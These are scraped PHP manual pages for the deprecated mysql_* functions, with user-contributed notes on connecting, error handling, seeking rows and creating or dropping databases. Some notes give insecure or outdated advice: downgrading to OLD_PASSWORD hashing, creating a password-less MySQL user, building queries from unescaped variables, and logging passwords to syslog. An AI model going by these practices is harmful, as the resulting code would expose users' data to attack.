sky dot sama dot remove dot dots at Gmail dot com 12-Dec-2006 08:42
In case anyone else is getting "Client does not support authentication protocol requested by server; consider upgrading MySQL client" error. The problem is the new password hashing method used by MySQL >= 4.1 mentioned below.

Either update your PHP to v5 where the new password hashing is supported or use old_password() in MySQL 4.1.

FROM: http://www.digitalpeer.com/id/mysql

UPDATE mysql.user SET password=old_password("youroldhashpassword") WHERE user ='youruserid' and host ='yourhost'

then do

FLUSH PRIVILEGES
Graham_Rule at ed dot ac dot uk 10-Nov-2006 01:59
How to get at multiple MySQL databases from PHP while continuing to hide the user credentials in Apache configuration files.

(This builds on my solution to the problem of hiding such credentials that I posted in May 2003 at http://uk2.php.net/manual/en/function.mysql-connect.php#32035)

<Directory /var/www/html/multidatabase>
    php_value mysql.default_user        "username1      username2"
    php_value mysql.default_password    "secret  private"
    php_value mysql.default_host      "localhost  server.example.com"
</Directory>

Note that the quotes are necessary to prevent the parser complaining about seeing too many parameters for php_value.

Given this setup in Apache, our script can fetch the composite value
    $hostnames = @ini_get('mysql.default_host');                                                                                                           Split it into its component parts
    $hostnames = preg_split("/[\s]+/", $hostnames);                                                                                                        Then use the values in this array as if we had hard-coded:
    $hostnames[0] = "localhost";
    $hostnames[1] = "server.example.com"
                                                                                Similar code may be written to fetch the usernames and passwords.

(One 'gotcha' with the mysql_error() function is that it will not give a sensible error report if there is a failure to open a second or subsequent connection.  It uses the last successfully opened connection as the basis for its message!)
Graham_Rule at ed dot ac dot uk 10-Nov-2006 01:43
The addition of entries to httpd.conf to stop .inc files being served by Apache is certainly useful and to be recommended.

But it doesn't change the fact that these files have to be readable by Apache so that the PHP processor can get at them.

As long as your don't have multiple, possibly untrusted, users on your machine then that's OK.  But when you are running a large multi-user service with thousands of users its always possible that one of them will look at your .inc files and take a note of the passwords you have in them.  They could even copy them into their own scripts and modify your databases!

Even if local users are trusted, there is always the possibility of a rogue script (PHP or some nastier language) being installed by an ignorant user.  That script might then read your .inc files (whether or not they are in the web publishing tree) and expose your password.
brinca at substancia dot com 09-Nov-2006 07:43
If you prefer to use a hostname instead of an ip on your connection string in a script (to be able to change the ip at will), but don't want the overhead of dns lookups, just add it to your /etc/hosts file (in windows: %WINDIR%/system32/drivers/etc/hosts).

For example, add the following to your hosts file (changing the bogus ip to your server's real ip):

123.123.123.123   mysqlserver1

Note: On linux, make sure you have "order: hosts,bind" on your /etc/host.conf file.

On a script, make the mysql connection like so:

<?
  $sid = mysql_connect ("mysqlserver1", "user", "pass");
?>

Note: this sample is in php, but it can be any other programming language (just type "ping mysqlserver1" on a prompt, on your server)

And there you have it! If your server ever gets assigned a different ip, just update the hosts file with the new one (every script will work as-is, even if under different hostnames).
rui dot batista at netcabo dot pt 31-May-2006 08:42
Ever wonder what "default username" is?
<?php
$link = mysql_connect() or die(mysql_error());
$result = mysql_query("SELECT SESSION_USER(), CURRENT_USER();");
$row = mysql_fetch_row($result);
echo "SESSION USER: ", $row[0], "<br>\n";
echo "CURRENT USER: ", $row[1], "<br>\n";
?>
Both are ODBC@localhost in my win2k install, so my advice for windows is:
- create a MySQL user named ODBC with no password
- add localhost to ODBC user [right-click ODBC]
- set schema previleges to ODBC@localhost
- use mysql_connect() with no parms, or do not use ;)
This turns to work also with odbc_connect:
odbc_connect("myDSN", "", "")
Mario 08-May-2006 09:21
PHP (5.1.2) stores connections according to script name and remote host, apparently. If the same script is requested by the same browser in two different tabs (Firefox for this test) and requests a non-persistent connection using the same user and password, the connection will be shared.

Ran into this while testing a script for concurrent usage using "LOCK TABLES" queries... and found that one tab's script was blocking until the other finished. No blocking occurred when different machines loaded the same script at the same time. Very interesting.
25-Jun-2005 03:18
connect to mysql via named pipe under windows :

in my.ini, add this:

[mysqld]
enable-named-pipe

then connect to the server, then connect to mysql using

mysql_connect('.')
camitz at NOSPAM dot example dot com 27-Oct-2004 01:05
A description about the problem with the password hashing and how to adress them can be found at http://dev.mysql.com/doc/mysql/en/Password_hashing.html
chaoscontrol_hq at yahoo dot com 23-Aug-2004 02:10
In MySQL4.1 and later, the default password hashing format has changed making it incompatible with 3.x clients.
I found out mysql_connect() works on server versions >= 4.1 when your MySQL user password is blank because password authentication isn't done in that case, otherwise you need to use another connection method (e.g. mysqli).
Also if you are using old MySQL tables on a new server (i.e. the passwords are stored in the old format), then the server will use the old auth method automatically and this function should work in all cases.
Hopefully this will help someone, it had me confused for a while because some of the users on my 4.1 server could connect and some couldn't.
martinnitram at excite dot com 31-Oct-2003 02:22
to use load data local infile function from mysql (at mysql 4.0.16, php 4.3.3), set fifth parameter of mysql_connect() to CLIENT_LOCAL_FILES(128), which based on MYSQL C API ( also mysql server support load file, check by "show variables like 'local_infile' ")

Thank  'phpweb at eden2 dot com' to point this out
phpweb at eden2 dot com 27-Jun-2003 11:55
client_flags can be things other than MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE and MYSQL_CLIENT_INTERACTIVE.

I presume that mysql_connect() just passes through to the C MySQL API, which provides these constants:

#define CLIENT_LONG_PASSWORD    1    /* new more secure passwords */
#define CLIENT_FOUND_ROWS    2    /* Found instead of affected rows */
#define CLIENT_LONG_FLAG    4    /* Get all column flags */
#define CLIENT_CONNECT_WITH_DB    8    /* One can specify db on connect */
#define CLIENT_NO_SCHEMA    16    /* Don't allow database.table.column */
#define CLIENT_COMPRESS        32    /* Can use compression protocol */
#define CLIENT_ODBC        64    /* Odbc client */
#define CLIENT_LOCAL_FILES    128    /* Can use LOAD DATA LOCAL */
#define CLIENT_IGNORE_SPACE    256    /* Ignore spaces before '(' */
#define CLIENT_CHANGE_USER    512    /* Support the mysql_change_user() */
#define CLIENT_INTERACTIVE    1024    /* This is an interactive client */
#define CLIENT_SSL              2048     /* Switch to SSL after handshake */
#define CLIENT_IGNORE_SIGPIPE   4096     /* IGNORE sigpipes */
#define CLIENT_TRANSACTIONS    8192    /* Client knows about transactions */

Not all of these may work or be meaningful, but CLIENT_FOUND_ROWS does, at least.
Graham_Rule at ed dot ac dot uk 14-May-2003 08:43
Another solution to the security problems of putting usernames and passwords into scripts. I haven't found this documented anywhere else so thought I'd suggest it for the online documentation. ........

Don't put passwords for mysql into scripts which may be read by any user on the machine.  Instead put them into an Apache configuration file and make sure that it is not world-readable. (Apache reads its main config files as root.)

For example, add this to your httpd.conf (and chmod it to 600 or 660) then tell your apache to reload itself (apachectl graceful).

<Directory /var/www/html/mydatabase>
    php_value mysql.default_user fred
    php_value mysql.default_password secret
    php_value mysql.default_host server.example.com
</Directory>

Then all you need in your PHP code is

$handle = mysql_connect() or die(mysql_error());

The passwords etc will only be picked up by scripts running in the named directory (or a sub-directory).  The same may be done for virtualhosts etc.

If you don't want to keep reloading your Apache server then you ay test things putting the php_value directives into a (world readable) .htaccess file. (Clearly not for production use.)

If you need to debug the values that are being supplied (or not) then use this snippet:

@syslog(LOG_DEBUG, "Using user=".ini_get("mysql.default_user").
            " pass=".ini_get("mysql.default_password").
            " host=".ini_get("mysql.default_host"));

(This assumes that you are not running in 'safe_mode' and that you are on a unix of some sort.)
amn -at- frognet.net 11-Mar-2003 10:40
Just in case you didn't know. You can use mysql_connect in a function to connect to a database and the connection is a super-global... meaning you can use mysql_query in other functions or in no function at all and PHP will use the connection that you opened. This is a handy bit of knowledge that helps if you have a large site with lots of scripts. If you create one function to connect to a db, and call that function in all your scripts, it makes for easier code maintenance since you only have to update one line of code to change your mysql connection instead of updating all your scripts individually.
mysql_close
mysql_create_db
MySQL Functions


Create a MySQL database

mysql_connect
mysql_data_seek
MySQL Functions
PHP Manual

mysql_create_db

(PHP 4, PHP 5)

mysql_create_db — Create a MySQL database

Description

bool mysql_create_db ( string $database_name [, resource $link_identifier ] )

mysql_create_db() attempts to create a new database on the server associated with the specified link identifier.

Parameters

database_name

The name of the database being created.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_create_db() alternative example

The function mysql_create_db() is deprecated. It is preferable to use mysql_query() to issue an sql CREATE DATABASE statement instead.

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}

$sql = 'CREATE DATABASE my_db';
if (mysql_query($sql, $link)) {
    echo "Database my_db created successfully\n";
} else {
    echo 'Error creating database: ' . mysql_error() . "\n";
}
?>

The above example will output something similar to:

Database my_db created successfully

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_createdb()

Note:

This function will not be available if the MySQL extension was built against a MySQL 4.x client library.

See Also

  • mysql_query() - Send a MySQL query
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

zubrag 29-Aug-2006 03:03
mysql_create_db function will not work on cPanel hosting. If you need to create database from your PHP script on cPanel hosted server then you'll need to use cPanel interface. Database creation code would look like (calling cPanel's adddb function): http://USER:PASS@HOST:2082/frontend/SKIN/sql/adddb.html?db=DB

You can download ready-made sample php script from http://www.zubrag.com/scripts/cpanel-database-creator.php
omer 20-Jun-2005 05:42
for MySQL4.1 lib users;

as noted the function is a no-go for MySQL4.1 libs.  While i do not know the logic behind this i was relieved to see that

mysql_connect ("localhost","$user","$password")
$soru = 'CREATE DATABASE '.$dbname;
mysql_query($soru);

worked just fine...
mysql_connect
mysql_data_seek
MySQL Functions


Move internal result pointer

mysql_create_db
mysql_db_name
MySQL Functions
PHP Manual

mysql_data_seek

(PHP 4, PHP 5)

mysql_data_seek — Move internal result pointer

Description

bool mysql_data_seek ( resource $result , int $row_number )

mysql_data_seek() moves the internal row pointer of the MySQL result associated with the specified result identifier to point to the specified row number. The next call to a MySQL fetch function, such as mysql_fetch_assoc(), would return that row.

row_number starts at 0. The row_number should be a value in the range from 0 to mysql_num_rows() - 1. However if the result set is empty (mysql_num_rows() == 0), a seek to 0 will fail with a E_WARNING and mysql_data_seek() will return FALSE.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

row_number

The desired row number of the new result pointer.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_data_seek() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
$db_selected = mysql_select_db('sample_db');
if (!$db_selected) {
    die('Could not select database: ' . mysql_error());
}
$query = 'SELECT last_name, first_name FROM friends';
$result = mysql_query($query);
if (!$result) {
    die('Query failed: ' . mysql_error());
}
/* fetch rows in reverse order */
for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
    if (!mysql_data_seek($result, $i)) {
        echo "Cannot seek to row $i: " . mysql_error() . "\n";
        continue;
    }

    if (!($row = mysql_fetch_assoc($result))) {
        continue;
    }

    echo $row['last_name'] . ' ' . $row['first_name'] . "<br />\n";
}

mysql_free_result($result);
?>

Notes

Note:

The function mysql_data_seek() can be used in conjunction only with mysql_query(), not with mysql_unbuffered_query().

See Also

  • mysql_query() - Send a MySQL query
  • mysql_num_rows() - Get number of rows in result
  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_object() - Fetch a result row as an object

User Contributed Notes

saeed at photobookworldwide dot com 25-Nov-2011 06:30
Here, you can find the current pointer of selected row easily:

<?php
//selected row with id=4
$id    =    "4";

$result    =    mysql_query("select * from jos_components");

$num    =    mysql_num_rows($result);

for($i=0;$i<$num;$i++){

    mysql_data_seek($result,$i);

    $row    =    mysql_fetch_assoc($result);

    if($row['id']    ==    $id){

        $pointer    =    $i;
    }

}

// current pointer for selected row
echo $pointer;
?>
webmail7 at suddenlink dot net 29-Apr-2009 10:48
The mysql_query() function using the SELECT, SHOW, DESCRIBE, EXPLAIN or other statements returning a resultset, by default uses a TABLES INDEX, or simply the RECORD INSERT ORDER, in creating the resultset.

When using the mysql_data_seek() function along with a mysql_query() function using the SELECT, SHOW, DESCRIBE, EXPLAIN or other statements returning a resultset, and your desire is to SELECT A SPECIFIC ROW based upon the CONTENTS of a SPECIFIC FIELD then be sure to use the ORDER statement in your query or the mysql_data_seek() function may have unpredictable results.

Example (Find Last Record):

==============================================

<?php

$query="SELECT * FROM `team` ORDER BY `team`.`id` ASC";
$result=mysql_query($query);
$last_row = mysql_num_rows($result) - 1;
if (mysql_data_seek($result, $last_row)) { //Set Pointer To LAST ROW in TEAM table.

     $row = mysql_fetch_row($result); //Get LAST RECORD in TEAM table
     $id = $row[0] + 1; //New Team ID Value
     // more code here ...

} else { //Data Seek Error

    echo "Cannot seek to row $last_row: " . mysql_error() . "\n";

}

?>

==============================================

** Note:

1. The above example code relates to a MYSQL table named 'team' similar to this:

+-ID-+ TEAM NAME-+
| 49 |  Team 49  |
| 33 |  Team 33  |
| 84 |  Team 84  |
| 07 |  Team 07  |
+----+-----------+
** Records shown in the order inserted (i.e. TABLE NOT INDEXED)

2. In the above example code the field named ID is NOT set to AUTO-INCREMENT (i.e. field value set programmatically).

3. Wanting to insert a new team with a team number higher that the highest team number used, simply using the following code snippet

==============================================

<?php

$query="SELECT * FROM `team`";

?>

==============================================

resulted in an ERROR when using the mysql_data_seek() function  to select the record with the highest ID value.

4. Use of the ORDER statement in the query corrected the error/problem.

Hope this helps someone.
Daniel 28-Aug-2008 02:59
Here is a simple function to "peek" at the position of the internal pointer in a query result:

<?php
function mysql_pointer_position($result_set) {
        $num_rows = mysql_num_rows($result_set);
        $i = 0;
        while($result = mysql_fetch_array($result_set)) {
            $i++;
        }
        $pointer_position = $num_rows - $i;

//Return pointer to original position
        if($pointer_position <= $num_rows - 1) {
            mysql_data_seek($result_set, $pointer_position);
        }
        return $pointer_position;
    }
?>
Guy Gordon 27-Jun-2007 01:26
I needed to "peek" at the next record in order to see if fetching it would go too far.  So I want to do a fetch, followed by seek(-1).

I could find no function to move the internal row pointer relative to it's current position, or to retrieve it as a row number as required by mysql_data_seek().  This limits the function's usefulness to resetting the row to 0, unless you track the row number yourself.

If you use a While loop to step through the results, you can increment a tracking index at the bottom of the loop.  But be sure never to use Continue; which would bypass your index.  And document this restriction for the person who needs to maintain your code.  It's probably better to use a For loop, which makes the index explicit.

In either case be sure to range check the index when you manipulate it.  E.G. When I "peek" at the next record I must check for index>=count (end of data).  Or if I decrement the index, make sure it does not go negative.  Again, document why you are coding it this way, so the next programmer doesn't "correct" the inelegant code.
30-May-2006 01:52
A helpful note about the 'resource' data type.

Since the 'resource' variable is pointing to a row in a result set at any given time, you can think of it as being passed to this function by reference every time you pass it or assign it to a variable.

<?

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

while ($row = mysql_fetch_assoc($result)) {
    // This code will never run because the 'resource' variable is pointing past the end of the result set,
    // even though it was *not* assigned by reference to $result2.
}

?>

Therefore, the following snipits are functionally identical:

<?

// Start snipit 1

$sql = "SELECT * from <table>";
$result = mysql_query($sql);

while ($row = mysql_fetch_assoc($result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($result)) {
    // do other stuff with $row
}

// Start snipit 2

$sql = "SELECT * from <table>";
$result = mysql_query($sql);
$temp_result = $result;

while ($row = mysql_fetch_assoc($temp_result)) {
    // do stuff with $row
}

mysql_data_seek($result, 0);

while ($row = mysql_fetch_assoc($temp_result)) {
    // do other stuff with $row
}

?>
jonybd at yahoo dot com 27-Jun-2005 05:40
/*
    helpfull for real time databases query
    - Query one time
    - Retreive data twice from the same query
    - mysql_data_seek *

*/

include("p_MySql_Connection.php");

$v_Query    =     "SELECT f1 from t1";

$v_Result     =     mysql_query($v_Query, $v_RS);

/*
    First loop for one single query
*/
while ($row = mysql_fetch_array($v_Result,MYSQL_NUM)) {
    $v_total = $v_total + $row[1];
}
    echo $v_total;

/*
    Retreive data
*/
$v_Re     =     mysql_data_seek($v_Result,0);
if (!$v_Re){
    echo 'MySql data seek Error' .  mysql_error();
}

/*
    Second loop for one single query
*/
while ($row = mysql_fetch_array($v_Result,MYSQL_NUM)) {
    echo $row[0];

}
arturo_b at hotmail dot com 20-Apr-2005 08:53
hello, this script would be easy to understand for those that are novice in php whose want to understand about this function:

the table "user" have 2 columns "id" and "name".
"user" content:
position 0: "id"=195342481 "name"='Arthur'
position 1: "id"=179154675 "name"='John'
>>position 2<<: "id"=157761949 "name"='April' >>third row<<
position 3: "id"=124492684 "name"='Tammy'
position 4: "id"=191346457 "name"='Mike'

<?php
  mysql_connect("localhost", "root")
  mysql_select_db("test");
  $sql = mysql_query("select * from user");
  mysql_data_seek($sql, 2);
  echo "<table border=1>";
  while ($row = mysql_fetch_row($sql)){
    echo "<tr><td>$row[0]</td><td>$row[1]</td></tr>";
  }
  echo "</tabla>";
?>

explanation:
mysql_data_seek move internal result pointer to the third row of table user. Thus mysql_fetch_row will begin by april´s row.
b.steinbrink at g m x dot de 08-Dec-2004 11:09
to kennethnash1134 at yahoo dot com

your loop can be done like this as well and i guess this is faster:

$r=mysql_query("select user,id,ip from accounts limit 10");

unset($users); // Just to be sure
while($users[] = mysql_fetch_row);
array_pop($users); // Drop the last entry which is FALSE
kennethnash1134 at yahoo dot com 26-Mar-2004 12:12
/*here is a nice function for converting a mysql result row set into a 2d array, a time saver if need small data from several rows, saves you from having to do Alot of queries... would be nice to have this built into PHP future versions :) */

// simple example query
$r=mysql_query("select user,id,ip from accounts limit 10");

//starts the for loop, using mysql_num_rows() to count total
//amount of rows returned by $r
for($i=0; $i<mysql_num_rows($r); $i++){
             //advances the row in the mysql resource $r
    mysql_data_seek($r,$i);
             //assigns the array keys, $users[row][field]
    $users[$i]=mysql_fetch_row($r);
}

//simple, hope someone can use it :)
// -Kenneth Nash
mysql_create_db
mysql_db_name
MySQL Functions


Retrieves database name from the call to mysql_list_dbs

mysql_data_seek
mysql_db_query
MySQL Functions
PHP Manual

mysql_db_name

(PHP 4, PHP 5)

mysql_db_name — Retrieves database name from the call to mysql_list_dbs()

Description

string mysql_db_name ( resource $result , int $row [, mixed $field ] )

Retrieve the database name from a call to mysql_list_dbs().

Parameters

result

The result pointer from a call to mysql_list_dbs().

row

The index into the result set.

field

The field name.

Return Values

Returns the database name on success, and FALSE on failure. If FALSE is returned, use mysql_error() to determine the nature of the error.

Examples

Example #1 mysql_db_name() example

<?php
error_reporting(E_ALL);

$link = mysql_connect('dbhost', 'username', 'password');
$db_list = mysql_list_dbs($link);

$i = 0;
$cnt = mysql_num_rows($db_list);
while ($i < $cnt) {
    echo mysql_db_name($db_list, $i) . "\n";
    $i++;
}
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_dbname()

See Also

  • mysql_list_dbs() - List databases available on a MySQL server
  • mysql_tablename() - Get table name of field

User Contributed Notes

ericpp % bigfoot.com 16-Mar-2005 08:13
If you just need the current database name, you can use MySQL's SELECT DATABASE() command:

<?php
function mysql_current_db() {
    $r = mysql_query("SELECT DATABASE()") or die(mysql_error());
    return mysql_result($r,0);
}
?>
mysql_data_seek
mysql_db_query
MySQL Functions


Selects a database and executes a query on it

mysql_db_name
mysql_drop_db
MySQL Functions
PHP Manual

mysql_db_query

(PHP 4, PHP 5)

mysql_db_query — Selects a database and executes a query on it

Description

resource mysql_db_query ( string $database , string $query [, resource $link_identifier ] )

mysql_db_query() selects a database, and executes a query on it.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

database

The name of the database that will be selected.

query

The MySQL query.

Data inside the query should be properly escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns a positive MySQL result resource to the query result, or FALSE on error. The function also returns TRUE/FALSE for INSERT/UPDATE/DELETE queries to indicate success/failure.

Changelog

Version | Description
5.3.0 | This function now throws an E_DEPRECATED notice.
4.0.6 | This function is deprecated, do not use this function. Use mysql_select_db() and mysql_query() instead.

Examples

Example #1 mysql_db_query() alternative example

<?php

if (!$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('mysql_dbname', $link)) {
    echo 'Could not select database';
    exit;
}

$sql    = 'SELECT foo FROM bar WHERE id = 42';
$result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

while ($row = mysql_fetch_assoc($result)) {
    echo $row['foo'];
}

mysql_free_result($result);

?>

Notes

Note:

Be aware that this function does NOT switch back to the database you were connected before. In other words, you can't use this function to temporarily run a sql query on another database, you would have to manually switch back. Users are strongly encouraged to use the database.table syntax in their sql queries or mysql_select_db() instead of this function.

See Also

  • mysql_query() - Send a MySQL query
  • mysql_select_db() - Select a MySQL database

User Contributed Notes

There are no user contributed notes for this page.
mysql_db_name
mysql_drop_db
MySQL Functions


Drop (delete) a MySQL database

mysql_db_query
mysql_errno
MySQL Functions
PHP Manual

mysql_drop_db

(PHP 4, PHP 5)

mysql_drop_db — Drop (delete) a MySQL database

Description

bool mysql_drop_db ( string $database_name [, resource $link_identifier ] )

mysql_drop_db() attempts to drop (remove) an entire database from the server associated with the specified link identifier. This function is deprecated, it is preferable to use mysql_query() to issue an sql DROP DATABASE statement instead.

Parameters

database_name

The name of the database that will be deleted.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysql_drop_db() alternative example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}

$sql = 'DROP DATABASE my_db';
if (mysql_query($sql, $link)) {
    echo "Database my_db was successfully dropped\n";
} else {
    echo 'Error dropping database: ' . mysql_error() . "\n";
}
?>

Notes

Warning

This function will not be available if the MySQL extension was built against a MySQL 4.x client library.

Note:

For backward compatibility, the following deprecated alias may be used: mysql_dropdb()

See Also

  • mysql_query() - Send a MySQL query

User Contributed Notes

There are no user contributed notes for this page.
mysql_db_query
mysql_errno
MySQL Functions


Returns the numerical value of the error message from previous MySQL operation

mysql_drop_db
mysql_error
MySQL Functions
PHP Manual

mysql_errno

(PHP 4, PHP 5)

mysql_errno — Returns the numerical value of the error message from previous MySQL operation

Description

int mysql_errno ([ resource $link_identifier ] )

Returns the error number from the last MySQL function.

Errors coming back from the MySQL database backend no longer issue warnings. Instead, use mysql_errno() to retrieve the error code. Note that this function only returns the error code from the most recently executed MySQL function (not including mysql_error() and mysql_errno()), so if you want to use it, make sure you check the value before calling another MySQL function.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the error number from the last MySQL function, or 0 (zero) if no error occurred.

Examples

Example #1 mysql_errno() example

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!mysql_select_db("nonexistentdb", $link)) {
    echo mysql_errno($link) . ": " . mysql_error($link). "\n";
}

mysql_select_db("kossu", $link);
if (!mysql_query("SELECT * FROM nonexistenttable", $link)) {
    echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
}
?>

The above example will output something similar to:

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

See Also

  • mysql_error() - Returns the text of the error message from previous MySQL operation
  • » MySQL error codes

User Contributed Notes

timstamp.co.uk 25-Jun-2007 07:51
If you are receiving errors like:
Warning: mysql_close(): 5 is not a valid MySQL-Link resource

Check that you are calling mysql_error() and mysql_errno() BEFORE you call mysql_close().
simon at paarlberg dot dk 13-Dec-2005 03:40
Function for creating unique md5 keys in a database. If there are duplets, then a new md5-key will be generated. For your use:

  function users_md5create($id){
    global $mysql_link;

    while ($done==0) {
      $md5key = md5(time().($id/2).$loop).md5(time().$id.$loop);
      $query = "INSERT INTO users_md5create SET md5key='$md5key', fkey='$id', created=UNIX_TIMESTAMP() ";
      $mysql_result = mysql_query($query, $mysql_link);
      if(mysql_errno($mysql_link)!=1062) $done=1;
      $loop++;
    }

    return($md5key);
  }
phpnet at vemconcursos dot com 07-Dec-2005 06:31
Watch out! Although mysql_errno() supposedly returns the error number from the last MySQL function, if you don't specify a link identifier, it assumes the last link *opened*, NOT the last link *used*.

That means you can actually have mysql_errno() blindly ignore the error caused by the last MySQL function if it didn't use the last opened link.

Here's an example:

$link1 = mysql_connect('localhost', 'user1', 'password1');
$link2 = mysql_connect('localhost', 'user2', 'password2');

// do something wrong using the first link
mysql_select_db('nonexistentdb', $link1);

// if you don't specify the link identifier ...
if (mysql_errno()) {
  // the error from the last MySQL function is not reported
  echo mysql_errno() . ': ' . mysql_error() . "\n";
}
admin at artfabrique dot ru 18-Oct-2005 05:28
All MySQL ErrorCodes can be found in its' on-line manual.
For lazy one here is the link :
http://dev.mysql.com/doc/refman/5.0/en/error-handling.html
apoio at cyberspace dot org 29-Jun-2000 05:58
All mysqld error messages are located into the file /usr/local/share/mysql/english/errmsg.txt and listed in numerical order from 999 to 1175. You can change the output language as well, issuing the '-L spanish' option for example. See the manual for more details.
mysql_drop_db
mysql_error
MySQL Functions


Returns the text of the error message from previous MySQL operation

mysql_errno
mysql_escape_string
MySQL Functions
PHP Manual

mysql_error

(PHP 4, PHP 5)

mysql_error — Returns the text of the error message from previous MySQL operation

Description

string mysql_error ([ resource $link_identifier ] )

Returns the error text from the last MySQL function. Errors coming back from the MySQL database backend no longer issue warnings. Instead, use mysql_error() to retrieve the error text. Note that this function only returns the error text from the most recently executed MySQL function (not including mysql_error() and mysql_errno()), so if you want to use it, make sure you check the value before calling another MySQL function.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the error text from the last MySQL function, or '' (empty string) if no error occurred.

Examples

Example #1 mysql_error() example

<?php
$link = mysql_connect("localhost", "mysql_user", "mysql_password");

mysql_select_db("nonexistentdb", $link);
echo mysql_errno($link) . ": " . mysql_error($link). "\n";

mysql_select_db("kossu", $link);
mysql_query("SELECT * FROM nonexistenttable", $link);
echo mysql_errno($link) . ": " . mysql_error($link) . "\n";
?>

The above example will output something similar to:

1049: Unknown database 'nonexistentdb'
1146: Table 'kossu.nonexistenttable' doesn't exist

See Also

  • mysql_errno() - Returns the numerical value of the error message from previous MySQL operation
  • » MySQL error codes

User Contributed Notes

Florian Sidler 02-Feb-2010 02:33
Be aware that if you are using multiple MySQL connections you MUST support the link identifier to the mysql_error() function. Otherwise your error message will be blank.

Just spent a good 30 minutes trying to figure out why i didn't see my SQL errors.
Pendragon Castle 13-Jan-2009 07:16
Using a manipulation of josh ><>'s function, I created the following. It's purpose is to use the DB to store errors. It handles both original query, as well as the error log. Included Larry Ullman's escape_data() as well since I use it in q().

<?php
function escape_data($data){
 global $dbc;
 if(ini_get('magic_quotes_gpc')){
  $data=stripslashes($data);
 }
 return mysql_real_escape_string(trim($data),$dbc);
}

function q($page,$query){
// $page
 $result = mysql_query($query);
 if (mysql_errno()) {
  $error = "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
  $log = mysql_query("INSERT INTO db_errors (error_page,error_text) VALUES ('$page','".escape_data($error)."')");
 }
}

// Run the query using q()
$query = "INSERT INTO names (first, last) VALUES ('myfirst', 'mylast'");
$result = q("Sample Page Title",$query);
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 03:50
A friend of mine proposed a great solution.

<?php
$old_track = ini_set('track_errors', '1');

.....

        if ($this->db_handle!=FALSE && $db_selection_status!=FALSE)
            {
            $this->connected=1;
            ini_set('track_errors', $old_track);
            }
        else
            {
            $this->connected=-1;
            $mysql_warning=$php_errormsg;
            ini_set('track_errors', $old_track);
            throw new mysql_cns_exception(1, $mysql_warning . " " . mysql_error());
            }
?>
Gianluigi_Zanettini-MegaLab.it 25-May-2007 01:20
"Errors coming back from the MySQL database backend no longer issue warnings." Please note, you have an error/bug here. In fact, MySQL 5.1 with PHP 5.2:

Warning: mysql_connect() [function.mysql-connect]: Unknown MySQL server host 'locallllllhost' (11001)

That's a warning, which is not trapped by mysql_error()!
phpnet at robzazueta dot com 23-Jan-2007 11:14
This is a big one - As of MySQL 4.1 and above, apparently, the way passwords are hashed has changed. PHP 4.x is not compatible with this change, though PHP 5.0 is. I'm still using the 4.x series for various compatibility reasons, so when I set up MySQL 5.0.x on IIS 6.0 running PHP 4.4.4 I was surpised to get this error from mysql_error():

MYSQL: Client does not support authentication protocol requested by server; consider upgrading MySQL client

According to the MySQL site (http://dev.mysql.com/doc/refman/5.0/en/old-client.html) the best fix for this is to use the OLD_PASSWORD() function for your mysql DB user. You can reset it by issuing to MySQL:

Set PASSWORD for 'user'@'host' = OLD_PASSWORD('password');

This saved my hide.
l dot poot at twing dot nl 12-Jul-2006 05:38
When creating large applications it's quite handy to create a custom function for handling queries. Just include this function in every script. And use db_query(in this example) instead of mysql_query.

This example prompts an error in debugmode (variable $b_debugmode ). An e-mail with the error will be sent to the site operator otherwise.

The script writes a log file in directory ( in this case /log ) as well.

The system is vulnerable when database/query information is prompted to visitors. So be sure to hide this information for visitors anytime.

Regars,

Lennart Poot
http://www.twing.nl

<?php
$b_debugmode = 1; // 0 || 1

